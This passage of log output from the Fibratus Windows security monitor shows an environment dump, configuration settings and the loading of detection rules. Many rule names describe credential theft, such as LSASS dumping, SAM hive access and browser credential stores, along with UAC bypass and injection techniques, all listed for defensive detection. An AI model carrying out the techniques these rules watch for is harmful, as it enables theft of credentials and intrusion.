Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T16:10:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T16:10:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T16:10:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T16:19:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T16:19:18+01:00 level=info msg=bootstrapping with pid 8616. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T16:19:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html to=>[] port=>25 use-template=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-registry=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-mem=>false enable-audit-api=>true enable-threadpool=>false enable-fileio=>true stack-enrichment=>true enable-net=>true flush-interval=>1s enable-thread=>true enable-dns=>false enable-image=>true buffer-size=>512 max-buffers=>36 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 level=>info formatter=>text max-age=>0] + output ......................... [ amqp=>[ timeout=>5s vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus durable=>false url=>amqp://localhost:5672 enabled=>false passive=>false delivery-mode=>transient exchange-type=>topic] http=>[ endpoints=>[] timeout=>5s enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false enabled=>false method=>POST] elasticsearch=>[ healthcheck-interval=>10s healthcheck=>true servers=>[http://127.0.0.1:9200] gzip-compression=>false index-name=>fibratus enabled=>false template-name=>fibratus sniff=>false timeout=>5s flush-period=>1s healthcheck-timeout=>5s bulk-workers=>1 trace-log=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-registry=>false skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T16:19:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T16:19:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T16:22:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T16:22:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T16:22:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:26:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:26:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:26:56+01:00 level=info msg=bootstrapping with pid 7968. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:26:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ stack-enrichment=>true enable-audit-api=>true flush-interval=>1s enable-image=>true min-buffers=>16 enable-thread=>true enable-handle=>false buffer-size=>512 enable-net=>true enable-registry=>true enable-threadpool=>false enable-vamap=>true enable-dns=>false enable-fileio=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ 